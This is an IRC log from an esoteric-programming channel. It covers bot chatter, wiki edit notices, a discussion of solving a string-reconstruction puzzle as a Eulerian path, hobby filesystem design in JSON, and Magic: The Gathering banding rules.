12:49:44 <fungot> boily: just how much of it crufty and unsupported opinion. almost every sentence can be challenged. take for example the " paris and its closest departments" with " variation", discussing common descent and major evolutionary developments ( and, maybe, but i think
12:49:56 <fizzie> int-e: The thinking was, they'd be more conversational than the actual articles.
12:50:05 <fizzie> I just didn't put very much effort into cleaning things up.
13:01:26 <Jafet> Do you have any independent sources to back up the claim that they're more conversational? Jafet (talk) 12:59, 8 November 2015 (UTC)
13:02:21 <Jafet> fungot doesn't count; its speech clearly betrays a close association with the website under discussion
13:02:22 <fungot> Jafet: i'm fine with the switch back to " worms series" or " worms computer games".
13:08:08 <fizzie> No, it was original research.
13:08:15 <boily> fungot: I like you.
13:08:15 <fungot> boily: surely this can't be literally true. in truth, india is just as good a place for debate or for arguing the toss. the presence of fnord saved his life.
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13:08:23 <fizzie> fungot: NO ORIGINAL RESEARCH
13:08:23 <fungot> fizzie: ( undent) i'm fine with merging the two articles are equally referenced. since when?. dont you think there could be another reason:
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14:34:42 <izabera> http://4.bp.blogspot.com/-_Z4b6WTwBrU/Vfy9WVv__oI/AAAAAAAAp1k/1jA3uW8PGG0/s400/arguingonline.gif
14:37:38 <int-e> fkjvzs-9u3209ag4vsrkn ... I'll stick to the old-fashioned technique, even though it's slower.
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17:24:24 <HackEgo> [wiki] [[Pointer-ng]] http://esolangs.org/w/index.php?diff=45185&oldid=45182 * SuperJedi224 * (+8)
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18:26:11 <HackEgo> [wiki] [[Pointer-ng]] http://esolangs.org/w/index.php?diff=45186&oldid=45185 * SuperJedi224 * (+0)
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18:44:16 <mroman> Switzerland just extended false pretence protection to cosmetics.
18:44:49 <fungot> Available: agora alice c64 ct darwin discworld enron europarl ff7 fisher fungot homestuck ic irc iwcs jargon lovecraft nethack oots pa qwantz sms speeches ss wp* youtube
18:45:25 <mroman> I'd opt for stricter false pretence rules for ads anyways.
18:45:58 <mroman> Otherwise it's just mass deception.
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18:52:47 <mroman> Facebook doesn't honor do not track
18:52:56 <mroman> but this would actually be a solvable issue :)
18:53:24 <mroman> Browser generated session cookies or something like that
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18:54:37 <mroman> the website sends a session token to the browser once, and the browser just resends that single token everytime a request is made
18:54:41 <mroman> except for third-party requests
18:54:49 <mroman> token won't be sent for third-party requests.
18:54:54 <HackEgo> [wiki] [[Pointer-ng]] http://esolangs.org/w/index.php?diff=45187&oldid=45186 * 93.198.147.238 * (-1) fixed some formatting in commands
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18:56:08 <mroman> woulndn't really stop them from tracking you
18:56:33 <mroman> but it may stop them from tracking you through third-party sites
18:56:51 <mroman> unless you have a static ip
18:56:57 <mroman> then you're screwed either way
18:57:11 <mroman> but ISPs could solve that problem
18:57:19 <mroman> by having a pool of random temporary IP addresses
18:57:27 <mroman> and do address translations
18:57:38 <mroman> which randomizes every request
18:58:04 <mroman> the technology for having way better privacy is available.
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19:50:48 <HackEgo> [wiki] [[Pointer-ng]] http://esolangs.org/w/index.php?diff=45188&oldid=45187 * 93.198.147.238 * (+29) /* Interpreters */
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20:25:47 <HackEgo> [wiki] [[Microscript II]] http://esolangs.org/w/index.php?diff=45189&oldid=45180 * SuperJedi224 * (+18)
20:27:01 <HackEgo> [wiki] [[Microscript]] http://esolangs.org/w/index.php?diff=45190&oldid=45176 * SuperJedi224 * (+18)
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20:45:27 <Sgeo> 'Since Varsity has told us that fascination with Jellybabies is a "fetish", and we want to keep Nomicam a clean family game: The speaker shall once and once only go through the rules, changing every mention of the word "jelly baby" - in whatever grammatical form - into the word "sheep" - in the corresponding grammatical form.'
20:46:09 <Sgeo> I just googled that, and besides the nomic itself, the other hits are logs from this channel, one with me quoting exactly that over a year ago.
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21:40:02 <\oren\> Sgeo: I thought jellybabies are a candy?
21:41:28 <Sgeo> I think so too, it's the fascination with them that's a fetish
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22:01:42 <HackEgo> [wiki] [[Microscript II]] http://esolangs.org/w/index.php?diff=45191&oldid=45189 * SuperJedi224 * (+59)
22:02:07 <HackEgo> [wiki] [[Microscript]] http://esolangs.org/w/index.php?diff=45192&oldid=45190 * SuperJedi224 * (+56)
22:02:40 <HackEgo> [wiki] [[Microscript]] http://esolangs.org/w/index.php?diff=45193&oldid=45192 * SuperJedi224 * (+1)
22:03:21 <HackEgo> [wiki] [[Microscript II]] http://esolangs.org/w/index.php?diff=45194&oldid=45191 * SuperJedi224 * (+0)
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23:05:53 <hppavilion[1]> I want to design my default filesys with the builtin DUP and ROLL and such commands
23:14:30 <zzo38> How is that working?
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23:19:31 <HackEgo> [wiki] [[Special:Log/newusers]] create * Es1024 * New user account
23:21:40 <HackEgo> [wiki] [[Marbelous]] http://esolangs.org/w/index.php?diff=45195&oldid=43737 * Es1024 * (+1) /* Instructions */
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23:31:53 <HackEgo> [wiki] [[TeaScript]] http://esolangs.org/w/index.php?diff=45196&oldid=45030 * Vihan * (+117) /* Removing periods */
23:33:00 <HackEgo> [wiki] [[TeaScript]] http://esolangs.org/w/index.php?diff=45197&oldid=45196 * Vihan * (-114) /* 1-byte Special Characters */
23:33:14 <HackEgo> [wiki] [[TeaScript]] http://esolangs.org/w/index.php?diff=45198&oldid=45197 * Vihan * (-58) /* Compilers / Interpreters */
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23:57:19 <hppavilion[1]> What should I call the inverse of DROP on a deque?
23:59:05 <oerjan> (this should teach you to be more careful with your choices)
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16:13:05 <oerjan> on the bright side, HackEgo has been very responsible
16:13:29 <Gregor> I'm honestly not sure why glogbot didn't pop back up on its own... the system was up...
16:16:01 <oerjan> i was getting into this strange ritual of copying tunes logs into vim to reformat them
16:16:57 <Gregor> I'm sorry it's all my fault :'(
16:17:14 <izabera> https://www.codeeval.com/open_challenges/185/ i'm having problems with the repeated parts
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16:20:38 <oerjan> well it says in point 1 that you have _all_ shifts
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16:21:21 <oerjan> that probably is enough to make it solvable
16:23:58 <oerjan> as long as the n-1 first letters and the n-1 last letters aren't identical, then it's obviously not
16:24:22 <oerjan> (because then you get a loop that can start anywhere)
16:25:24 <oerjan> otherwise, here's how to find the first n-1 letters: it's the unique combination which occurs once more as the first n-1 chars in a piece than it does as the last n-1 chars.
16:25:42 <oerjan> similarly for last n-1.
16:26:00 <izabera> but how do you deal with the repeated parts?
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16:27:57 <oerjan> if there are any that are repeated 3 or more times, you cannot.
16:28:17 <oerjan> unless the part in between is also identical, i guess.
16:28:54 <int-e> but do you have to... I mean they promise you that the solution will be unique
16:28:57 <oerjan> e.g. 123abc456abc789abc0 must become ambiguous
16:30:07 <oerjan> actually isn't this basically a hamiltonian path problem.
16:30:41 <oerjan> each piece is a node, each possible next piece gives an edge
16:31:10 <int-e> but I guess we can hope for a very sparse parse with lots of nodes having degree 2
16:31:19 <int-e> ...sparse graph...
16:31:20 <oerjan> each piece is an _edge_
16:31:46 <int-e> well, hmm, it's a directed hamiltonian path problem
16:31:50 <oerjan> ...and it suddenly becomes a eulerian path problem
16:31:57 <int-e> (at least that's how I would view it)
16:32:46 <oerjan> directed eulerian path sounds easier than hamiltonian, anyway
16:33:44 <fizzie> What are the nodes in your graph where each piece is an edge?
16:33:44 <oerjan> oh and the graph can have multiedges
16:34:13 <oerjan> fizzie: n-1 length substrings
16:34:31 <int-e> fizzie: in my graph, the pieces are the nodes, and there's an edge between pieces that can be successive shifts.
16:34:41 <fizzie> int-e: Yes, that was easier.
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16:35:05 <fizzie> But I guess both make sense.
16:35:25 <int-e> (oerjan wrote that differently above... hmm)
16:35:42 <int-e> but it's an obvious encoding anyway
16:35:45 <oerjan> i'm sure i meant the same thing
16:36:09 <oerjan> well my point is that eulerian path problem is polynomial, while hamiltonian is NP-complete
16:36:15 <int-e> oerjan: I meant you phrased it differently, not that it was different.
16:36:32 <oerjan> but that's undirected, not sure with directed
16:36:45 <int-e> I don't see the eularian path
16:37:19 <oerjan> hm? when the pieces are edges, and you visit each piece once
16:38:21 * int-e missed a step there
16:39:59 <oerjan> many nodes with only two edges does help, you can collapse them
16:42:39 <oerjan> and then only the repeating n-1 strings will be left
16:42:49 <int-e> okay, this looks plausible: there is a directed eularian circuit if a graph is strongly connected, and the indegree and outdegree of each node are equal. (without the strong connectedness, you can decompose it into circles, and by the connectedness you can glue them together into a single one)
16:43:12 <int-e> (eularian paths follow)
16:44:02 <oerjan> int-e: um we cannot have circuits in this problem
16:44:13 <oerjan> they obviously give non-unique solutions.
16:44:25 <int-e> oerjan: (eularian paths follow) ... we identify the two odd nodes and connect them by an artificial edge
16:44:26 <oerjan> although - we could add an edge from the beginning to the end
16:44:40 <oerjan> are we doing that thing again.
16:45:18 <oerjan> which is that artificial edge
16:45:31 <int-e> it's just that the eularian circuit case is nicer to characterize and reason about
16:46:00 <oerjan> now we need a uniqueness requirement.
16:46:40 <int-e> constraints: "There is only one correct answer for each test case."
16:46:43 <oerjan> also his name was Euler not Eular hth
16:48:01 <int-e> I guess the "rian" is just too difficult to get right
16:48:35 * int-e is rationalizing... at least that part of the brain still works :P
16:48:46 <oerjan> ok the step i'm unsure of is how to decompose into circles
16:48:54 <int-e> (and that's good; it's the most important part for staying sane)
16:48:55 <HackEgo> [wiki] [[Pointer-ng]] http://esolangs.org/w/index.php?diff=45226&oldid=45188 * 93.198.137.24 * (+35) Updated download to official interpreter
16:49:23 <int-e> oerjan: you just pick an edge and follow a path until you end up at the starting point... remove that circle, repeat
16:50:01 <oerjan> hm you're right, because you still have ingoing = outgoing
16:50:42 <int-e> In fact, amazingly, it's even easier than the usual parity argument for undirected graphs.
16:51:25 <oerjan> ok so then it might be the gluing together...
16:51:43 <oerjan> that, too, should be simple
16:51:44 <int-e> (trivial exercise: prove that in any eulerian graph, one can orient the edges such that indegree = outdegree for all vertices)
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16:52:24 <oerjan> izabera: ok so once you have decomposed it into circles, just join them in an arbitrary way
16:52:37 <oerjan> and you'll end up with a large one
16:52:59 <oerjan> and by the problem statement, it must be unique once you identify the starting/ending
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16:53:23 <oerjan> well unique in what string it gives, anyway
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16:57:16 <oerjan> step 1: make a dictionary of all n-1 size subpieces and their in/out pieces.
16:57:40 <oerjan> find the two unique ones that don't have the same number of in/out.
16:58:22 <oerjan> step 3: find a path, just by following edges, from the initial to the final subpiece.
16:58:37 <oerjan> (adjust the dictionary to remove the edges used)
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16:59:29 <oerjan> step 4: while there are edges remaining in the dictionary, pick a subpiece in the dictionary that is also in the string constructed so far.
16:59:35 <izabera> how do i identify the edge?
16:59:42 <oerjan> expand the string by a new path from that subpiece to itself.
16:59:58 <oerjan> izabera: an edge is the same as a piece, here
17:00:19 <oerjan> oh and they must be counted with multiplicity.
17:00:20 <izabera> i mean the start/end of the cicle
17:00:42 <oerjan> izabera: i told you how to identify the start/end n-1 subpieces
17:01:01 <oerjan> the edges will just fall into place when you complete the algorithm, i think
17:01:25 <izabera> "The evil plan to hack CodeEval ranking." this is the first one i remove
17:01:57 <izabera> after that, i'm left with "il-ev" "l-evi" "evil-" "-evil" "vil-e"
17:02:09 <izabera> so i thought i could start from il-ev
17:02:35 <oerjan> izabera: no, you must choose a subpiece that is in the string so far. only vil fits, i think.
17:02:35 <izabera> and if i try to build a new cycle from that, i can join all those pieces to il-evil-ev
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17:24:27 <HackEgo> [wiki] [[RegexPL]] http://esolangs.org/w/index.php?diff=45227&oldid=45223 * Oerjan * (-13) Fix template call (only named parameters may contain =)
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17:30:49 <izabera> can i end up with a piece that doesn't fit in the original cycle?
17:31:12 <HackEgo> [wiki] [[Template:Wayback]] http://esolangs.org/w/index.php?diff=45228&oldid=30812 * Oerjan * (+188) Explain how to use =
17:31:16 <izabera> i mean i have the first cycle, then i find a new one, will it extend the first one?
17:32:49 <izabera> but i can always find a cycle that extends the first one
17:33:56 <oerjan> yeah because the graph is connected
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17:39:07 <HackEgo> [wiki] [[Pointer-ng]] http://esolangs.org/w/index.php?diff=45229&oldid=45226 * 93.198.137.24 * (+209) Added one more example
17:39:26 <HackEgo> [wiki] [[Pointer-ng]] http://esolangs.org/w/index.php?diff=45230&oldid=45229 * 93.198.137.24 * (+6) /* Example Code */
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17:42:04 <HackEgo> [wiki] [[Special:Log/newusers]] create * Weloxux * New user account
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17:53:52 <Guest78999> If ANY OF YOU ARE ALIVE, Please Tell Me.
17:55:29 <izabera> i guess it depends on which kind of spell was used to summon you
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17:56:16 <fungot> izabera: " sometimes known as crew". really? i've never seen a such bad situation in his screenplay but also included a scene from the " s", they were lower in social position than the arabs and berbers, and were fnord it around! odd! fnord 15:09, 12 aug 2004 ( utc)
17:57:48 <izabera> i want to dye my hair pink
17:57:58 <izabera> not pink like the girl from lazy town
17:57:59 <int-e> izabera: sounds good
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17:58:35 <int-e> fungot: please explain Guest78999
17:58:35 <fungot> int-e: ' ' the new york times mainly uses kiev. the times style guide http://www.timesonline.co.uk/ tol/ fnord/ fnord fnord
17:58:50 <int-e> thanks, that made more sense than the actual person
17:59:17 <izabera> does it always quote fnord?
17:59:24 <izabera> is that a fnord mode or something?
17:59:48 <int-e> if I remember correctly, "fnord" is a placeholder for rare words that didn't make it into the language model's dictionary
18:00:19 <int-e> (not sure how fizzie deals with actual occurrences of "fnord")
18:01:36 <izabera> http://arin.ga/L249tM/raw ok i submitted this and it scores a whopping 5%
18:01:44 <izabera> guess i'm doing something wrong
18:02:32 <izabera> it solves their example and all the ones i came up with >.>
18:03:35 <oerjan> with 20 tests, 5% is just what you'd expect if it solves _only_ that example, right :P
18:04:01 <izabera> can you show an example that fails?
18:04:02 <int-e> what is the input format there...
18:04:57 <int-e> |a|a| doesn't work, for example
18:05:44 <izabera> i don't think that's valid input <.<
18:06:33 <oerjan> that's pretty degenerate
18:06:35 <int-e> hmm, "The minimum length of a piece of text is 8"
18:06:53 <oerjan> izabera: are you really making a cycle initially?
18:07:14 <oerjan> how do you deal with the initial and final pieces
18:07:53 <izabera> i start with the first piece in that list, try to extend it as much as i can, and call what i get a cycle
18:08:35 <izabera> initial and final pieces should be part of that first cycle
18:08:50 <oerjan> i don't see how you can get the initial piece
18:09:13 <oerjan> or, hm, are you going in both directions
18:09:36 <oerjan> well, it's a "path", not a cycle, anyway :P
18:09:54 <izabera> anyway it bails out at the first error
18:10:04 <izabera> so it solves the first one, then gets an error
18:10:06 <oerjan> a hunch: what happens if your test includes strange chars that bash might have trouble with?
18:10:11 <izabera> so it could potentially solve more than 1
18:10:20 <izabera> no problem with any character
18:11:07 <izabera> i'll change the exit to a break and resubmit, let me see how bad it is
18:11:34 <oerjan> izabera: um how are you reading the input, it's supposed to come from a file given on the command line
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18:12:16 <oerjan> oh i didn't notice the < "$1" at the end
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18:25:19 <int-e> if you start with substrings of length 2 of a^40b^40...y^40, then it does take a while to reconstruct the string
18:25:59 <int-e> and that's still true if you change the piece length to 8
18:27:09 <int-e> ("a while" meaning several seconds: about 5 here)
18:29:53 <int-e> (concrete input: http://int-e.eu/~bf3/tmp/something)
18:30:45 <int-e> izabera: well, try your bash script on it... burn a bit of CPU.
18:32:39 <int-e> (I think this is within the parameters: pieces of length 28, and there's 973 of them)
18:34:15 <int-e> Hmm, the file also produces unintended but interesting visual effects at various line break lengths, fun...
18:37:17 <int-e> e.g. http://int-e.eu/~bf3/tmp/something.png
18:41:19 <int-e> (I have not tried to figure out why it's slow; note that the order that the pieces are given in matters... so this may be far from the worst case)
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18:54:49 <izabera> so it just times out even if my code is fine
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18:56:22 <izabera> actual input i managed to get from the site, + solution produced by my code http://arin.ga/3eZ8kV/raw
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19:22:49 <fizzie> int-e: The png looks FAST.
19:23:44 <fizzie> Just, you know, æsthetically.
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19:27:13 <quintopia> @tell boily Give me an upboat: http://codegolf.stackexchange.com/questions/62732/implement-a-truth-machine/63402#63402
19:27:34 <Taneb> fizzie, oh wow it does
19:30:49 <quintopia> where in england is "not" pronounced like "naught"? is it like the whole country or something?
19:31:09 <Taneb> So it's not the whole country
19:31:18 <int-e> hmm, english pronunciation i a knotty business
19:31:55 <int-e> naught / not / knot was indeed my inspiration
19:32:38 <quintopia> but i know it's said that way in brighton... the kooks guy does it
19:33:21 <quintopia> in the U.S., e.g. Cali, the vowel shift moves in the other direction
19:34:00 <quintopia> (i.e. the "cot" side of the cot/caught merger)
19:34:40 <quintopia> i'm pretty sure england is an esolang
19:37:03 <Phantom_Hoover> i like how 'compiler language with no pronounceable acronym' has a perfectly pronouncable acryonym in welsh
19:39:13 <Taneb> Kinda like cloonpa, right?
19:39:28 <Taneb> No, that would by CLYNPA
19:39:37 <Taneb> I don't know Welsh phonetics
19:43:33 <b_jonas> oh man. it was a strange day today.
19:43:38 <Taneb> Looking it up, I think it'd be cloonpa
19:43:45 <Taneb> b_jonas, what happened?
19:44:13 <b_jonas> Taneb: work stuff. complicated meeting where we actually talked about lots of relevant stuff, even if we didn't quite see eye to eye.
19:44:27 <b_jonas> we definitely couldn't solve everything, but at least know more about what each of us thinks should be solved.
19:44:57 <b_jonas> So basically, I waited for the meeting because some people were busy so it had to be delayed and then delayed again,
19:45:10 <b_jonas> then participated on the complicated meeting and asked stupid questions and took notes,
19:45:23 <b_jonas> then wrote a memo which was difficult because it was a long meeting with lots of things said,
19:45:38 <b_jonas> but still had to be done so that later people can't claim they don't remember what happened on the meeting,
19:45:55 <b_jonas> and in the middle of this I did lots of other small things that had to be done.
19:46:55 <b_jonas> Like, with changes in how some procedures are done at the job, which are for the better in the long term, but cause a little hitch when we change to it, and people don't always know what's happening and say contradictory things.
19:49:43 <Taneb> Today I wrote a FizzBuzz that calls C (indirectly) from Agda
19:56:13 <HackEgo> [wiki] [[DStack]] http://esolangs.org/w/index.php?diff=45231&oldid=45168 * -Dark-Phantom- * (-219) New instructions, string literals and improved examples
19:56:47 <Taneb> b_jonas, https://github.com/Taneb/AgdaCBuzz
19:57:22 <Taneb> Build instructions are non-existent, but it's cabal install ==> compile the agda file
20:05:44 -!- hppavilion[2] has changed nick to hppavilion1.
20:05:48 <HackEgo> [wiki] [[Hello world program in esoteric languages]] http://esolangs.org/w/index.php?diff=45232&oldid=45159 * -Dark-Phantom- * (-60) /* DStack */
20:06:17 -!- hppavilion1 has changed nick to hppavilion[1].
20:06:23 <HackEgo> [wiki] [[List of quines]] http://esolangs.org/w/index.php?diff=45233&oldid=45169 * -Dark-Phantom- * (-439) /* DStack */
20:06:55 <HackEgo> [wiki] [[Truth-machine]] http://esolangs.org/w/index.php?diff=45234&oldid=45160 * -Dark-Phantom- * (-10) /* DStack */
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21:24:45 <b_jonas> fungot, ais523 still hasn't returned?
21:24:45 <fungot> b_jonas: fnord/ court/ state/ fnord. -user:splashsplashsmallsupuser talk:splashtalk/sup/small 00:24, 26 january 2007 ( utc))
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21:36:13 <HackEgo> [wiki] [[SPLEMIT21]] N http://esolangs.org/w/index.php?oldid=45235 * 93.198.137.24 * (+1090) Created page with "SPLEMIT21 ''(short for Shortest Programming Language Ever Made In The 21st [Century])'' is a joke language developed by [http://twitter.com/fucketh1cs Maximilian Krause aka fu..."
21:37:54 <HackEgo> [wiki] [[List of quines]] http://esolangs.org/w/index.php?diff=45236&oldid=45233 * 93.198.137.24 * (+24) /* Cheating Quines */ SPLEMIT21
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21:50:54 <izabera> do you say 'the omega+1-st step' ?
21:51:33 <izabera> or 'the omega+1-th step' ?
21:52:34 <b_jonas> izabera: "the step of index omega plus one", or "on the day omega plus one"
21:52:55 <b_jonas> izabera: oh, you mean which of "st" or "th" suffix you use? probably "st" because English is crazy
21:55:51 <izabera> i guess + changes the normal rules
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22:03:02 <hppavilion[2]> I now have an editor made solely for manipulating the default filesystem for my OS
22:05:49 <hppavilion[2]> izabera: It allows me to manipulate files outside of the OS for convenience
22:06:09 <hppavilion[2]> No way to create a new file though, at least not yet
22:07:58 <b_jonas> hppavilion[2]: can it grow the size of an existing file?
22:08:27 <hppavilion[2]> b_jonas: I believe so; I mean, no reason it wouldn't be able to
22:08:58 <hppavilion[2]> I'm using python for this (so it's not a "real" OS), meaning that I don't have arbitrary limitations like I would in C or the like
22:10:11 <b_jonas> hppavilion[2]: finding where the bytes of the file are located by reading the metadata is easy. you have to know more about the fs than that if you also want to modify the metadata to allocate space for growing the file and associating that space with the file.
22:10:58 <b_jonas> if you know where the bytes are stored, you can modify them directly, that much is easy.
22:11:18 <b_jonas> this may depend on the details of file system, sure, but still
22:12:40 <hppavilion[2]> It's saved to disk as a ".fsys" file (windows) that is really just a subset of JSON
22:13:22 <b_jonas> that sounds strange for a filesystem, but ok
22:13:42 <hppavilion[2]> b_jonas: I mean that that's how it's stored when the OS is closed, so that you can go back to it later
22:14:26 <b_jonas> does your fs allow storing arbitrary byte sequences as file content? if so, how do you encode that to json?
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22:15:35 <hppavilion[2]> b_jonas: Yes it does; the file data is just a string.
22:15:56 <hppavilion[2]> ALL files are like that, if you're willing to abuse ASCII
22:16:54 <izabera> you can't seek if you have to decode json
22:17:41 <izabera> as in "go to byte 12345 in this file"
22:18:14 <b_jonas> hppavilion[2]: the input of JSON encoding is a deep structure that contains character strings, and the output is a character string (often encoded as UTF-8, which is recommended for JSON).
22:18:49 <b_jonas> hppavilion[2]: if you want to store binary strings, you have to somehow encode them to character strings, or else you won't know what backslash escapes to use for characters that you can't represent literally.
22:19:00 <hppavilion[2]> izabera: Ah. I can do that, because I decode it to Python Dicts on loading. I think that works.
22:19:20 <hppavilion[2]> b_jonas: I used the json module, which seems to handle everything like that for me xD
22:20:06 <b_jonas> ah, so basically you don't know what your code does. ok.
22:21:16 <hppavilion[2]> I don't so much "Not know what my code does" as "Using external services and tools to do the heavy lifting, which I need not understand because they're complicated"
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22:42:39 <HackEgo> sacadouche: Welcome to the international hub for esoteric programming language design and deployment! For more information, check out our wiki: <http://esolangs.org/>. (For the other kind of esoterica, try #esoteric on EFnet or DALnet.)
22:42:40 <HackEgo> Welcome to the international hub for esoteric programming language design and deployment! For more information, check out our wiki: <http://esolangs.org/>. (For the other kind of esoterica, try #esoteric on EFnet or DALnet.)
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22:46:14 <HackEgo> [wiki] [[Talk:Esoteric Operating System]] http://esolangs.org/w/index.php?diff=45237&oldid=43607 * Hppavilion1 * (+129) /* Making one */ new section
22:46:24 -!- hppavilion[2] has changed nick to hppavilion[1].
22:48:41 <hppavilion[1]> I would like someone to define a command-line shell inspired by BF (because it's like the crowning esolang, despite its flaws (namely, the derivatives)). I can implement it.
22:48:48 <zzo38> SQLite now includes an extension to read/write JSON (although I also have my own extension to read JSON data with SQLite; my own doesn't write though)
22:51:03 <zzo38> hppavilion[1]: I wouldn't know how to define such a thing (as I cannot think of it right now), although if I do I will tell you; but probably you or someone else to figure it out.
22:54:26 <zzo38> If you want to make it a graph then you might use RDF though, rather than JSON
22:56:17 <hppavilion[1]> zzo38: Well it's a digraph, which is fairly easy to represent with JSON
22:57:49 <hppavilion[1]> zzo38: What do you think about a hypergraph filesys?
22:59:26 <zzo38> I don't know either, but if you do know how to make it work, go ahead and try please!
23:01:12 <zzo38> You certainly can represent a digraph with JSON, although I think RDF would work better for this purpose. For a hypergraph you will need to do something more (it can also be represented with RDF easily enough, I expect)
23:01:59 -!- boily has joined.
23:02:34 <izabera> i thought you used json because objects form a tree-like structure
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23:03:39 <izabera> i don't see how a generic graph is easy to represent with json
23:03:46 <zzo38> JSON is good for tree-like structure yes
23:06:35 <boily> what happens when a YAML parser parses a mutually recursive structure?
23:06:51 <zzo38> <> :edges [:v _:v1, _:v2, _:v3], [:v _:v2, _:v3], [:v _:v3, _:v5, _:v6], [:v _:v4]. # It is one possible way you may represent a hypergraph in RDF; you could even have more than one that shares nodes in this way
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23:07:48 <lambdabot> quintopia said 3h 40m 34s ago: Give me an upboat: http://codegolf.stackexchange.com/questions/62732/implement-a-truth-machine/63402#63402
23:08:52 <boily> @tell quintopia the upboat was gladly given! :D
23:09:51 <boily> @tell quintopia heh, nice usage of "-ai".
23:11:09 <shachaf> boily: apparently it means cabot hth
23:12:54 <quintopia> boily: its the fastest way to subtract large nums
23:13:08 <shachaf> boily: http://i.imgur.com/9n3q5pV.gifv
23:14:30 <boily> PURE UNDILUTED WIZZARDRY!
23:14:57 <izabera> what is diluted wizardry like?
23:15:18 <oerjan> <-- i guess you need some kind of faster dictionary that allows you to quickly find the neighboring nodes and edges
23:15:26 <oerjan> <izabera> so it just times out even if my code is fine <-- i guess you need some kind of faster dictionary that allows you to quickly find the neighboring nodes and edges
23:15:52 <oerjan> don't know if bash has anything
23:16:15 <izabera> i was trying to improve it but then i started playing online <.<
23:16:19 <zzo38> The JSON1 extension of SQLite does not include aggregate functions.
23:17:11 <boily> izabera: Fentimans.
23:18:21 <boily> quintopia: yes I did, but because I just created an account it's not publicly visible :(
23:18:41 <boily> (I need 15 reputations for it to become public.)
23:18:48 <oerjan> hm you can vote immediately?
23:19:29 <boily> I can, and I get a nice small informative blue popup telling me I need to build more reputations.
23:19:50 <oerjan> well i didn't know it actually _saved_ your vote?
23:19:57 <oerjan> as opposed to ignoring it
23:20:46 <boily> Thanks for the feedback! Once you earn a total of 15 reputation, your votes will change the publicly displayed post score.
23:20:58 <oerjan> but then i didn't try voting in that short timespan
23:21:12 <oerjan> i probably didn't even register properly
23:21:49 <shachaf> boily is too disreputable to vote?
23:22:06 <oerjan> i recall i waited about a year before i turned my loginless account into a proper one, and only because the cookie expired so it was the only way to get it back
23:22:49 <oerjan> boily: btw if you have enough rep on another SE account you can get 100 free by linking them
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23:29:47 <oerjan> the only place i know yeeeeesh from is the Mutts comic
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00:13:43 <tswett> All right, I have it filled out.
00:15:24 <oerjan> NOOOOOOOOOOOOOOOOOOOOOOOOOSH
00:15:36 <zgrep> `? yeeeeeeeeeeeeeeeeeeeeeesh
00:15:37 <HackEgo> yeeeeeeeeeeeeeeeeeeeeeesh? ¯\(°_o)/¯
00:16:02 <oerjan> this download feels ridiculously slow
00:16:17 <oerjan> oh well it's 3/4 through, anyway
00:16:51 * oerjan is downloading the GitHub desktop
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00:18:23 <oerjan> trying to fix the constraints library
00:23:37 <tswett> oerjan's reaction there reminds me of something my #esoteric neural net once spit out.
00:23:53 <tswett> "oh nooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooopoooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooodland"
00:31:12 <tswett> Nopoooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooodland.
00:32:15 <HackEgo> [U+2395 APL FUNCTIONAL SYMBOL QUAD]
00:33:12 <tswett> So when I see one of those rectangles, that's actually the correct rendering of the character.
00:33:43 <izabera> kinda like a broken watch that's right twice a day
00:56:20 <tswett> And fuck whoever invented it. (Please!)
00:56:32 <tswett> No, I didn't just say any such thing.
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01:13:08 <izabera> are you watching it now for the first time?
01:14:08 <izabera> or are you referring to that theory that claims that jar jar was supposed to be the ultimate evil boss?
01:17:02 <\oren\> is jar jar that weird alien dude
01:27:30 <hppavilion[1]> izabera: I'm refering to the theory. It's amazing.
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01:45:41 <oerjan> <tswett> No, I didn't just say any such thing. <-- it's ok, everyone except Taneb understands.
01:47:58 <hppavilion[1]> A language where infinite looping is accomplished through ellipses: put a ... and let the computer figure out the pattern
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01:55:25 <zgrep> hppavilion[1]: For numbers, it'll just consult oeis. :P
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02:32:41 <HackEgo> [wiki] [[Microscript II]] http://esolangs.org/w/index.php?diff=45238&oldid=45194 * SuperJedi224 * (-11178)
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02:47:18 <shachaf> zzo38: What do you think of Bands with Other?
02:49:17 <zzo38> I like it, it can be a good ability in the correct circumstances (it depends what it bands with and what other creatures you have)
02:49:35 <zzo38> I would want them to reprint bands with other
02:52:38 <shachaf> What sort of cards would you want involving that ability?
02:52:57 <shachaf> i,i bands with other "bands with other" creatures
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03:20:24 * DarkPhantom slaps DarkPhantom around a bit with a large fishbot
03:40:51 <quintopia> yeah that's what i was thinking when i wrote that sentence
03:42:08 <zgrep> So either it's powered by fish or it stomps of poor, defenseless fish... your choice.
03:42:46 <quintopia> basically, i'm expecting a fishbot to be a bot implemented in ><>
03:43:13 <zzo38> shachaf: That is one possibility yes, although there are others, such as "bands with other Walls" or "bands with other white creatures" or "bands with other tokens" or whatever.
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03:44:50 <zzo38> (Ordinary banding is another abililty that can be used; which is better depends on circumstances.)
03:46:05 <shachaf> When is bands with other better than ordinary banding?
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03:46:29 <zzo38> In the old rules it never was but it is fixed now.
03:46:41 <quintopia> could someone please give me some clue as to what it is mr. black is referring to?
03:48:58 <zzo38> For example if you have "bands with other Walls" then it can band with any number of other Walls (whether or not they have banding), but with ordinary banding you can band with only one other creature that does not have banding ability (although any number with banding).
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03:52:45 <zzo38> The rules say 'one or more attacking [quality] creatures with "bands with other [quality]" and any number of other attacking [quality] creatures' although I think 'one attacking creature with "bands with other [quality]" and any number of other attacking [quality] creatures' may make more sense; it would usually come out to the same thing anyways.
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04:08:33 <shachaf> 20:07 <lensbot> [constraints] oerjan opened pull request #13: Implement type family based Data.Constraint.Forall (master...ForallTF) http://git.io/v8KUi
04:17:31 <zzo38> I would prefer a rule like this to declare bands: You must select one attacking creature as the "primary" creature of the band (it doesn't matter whether or not it has any banding ability), and then you may optionally select a "bands with other" ability that the primary creature has. If you did select such an ability, all non-primary creatures in the band must have the specified quality. If you did not select such an ability, all non-primary creatu
04:18:55 <zzo38> (This means that ordinarily each creature would be in a band by itself.)
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04:22:22 <hppavilion[1]> StringFuck perhaps? That'd qualify as an original BF derivative...
04:23:54 <zzo38> For example: You have six creatures. "A", "B", "C" are Human and have "bands with other Goblins", while "D", "E" and "F" are Goblin and have no special abilities. Under existing rules no bands can be declared. Under my suggested rules, {A,D,E} is a valid band but {A,B,F} is not valid.
04:25:14 <zzo38> (Under the old rules, I think {A,B,C} would be a legal band but {A,D,E} and {A,B,F} are both invalid. Under both current rules and my suggested rules, {A,B,C} is invalid.)
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04:32:00 <hppavilion[1]> A shell where every keystroke matters; every time you hit a key things get done. No backsies.
04:33:33 <hppavilion[1]> quintopia: More like every keypress does something AS IT HAPPENS
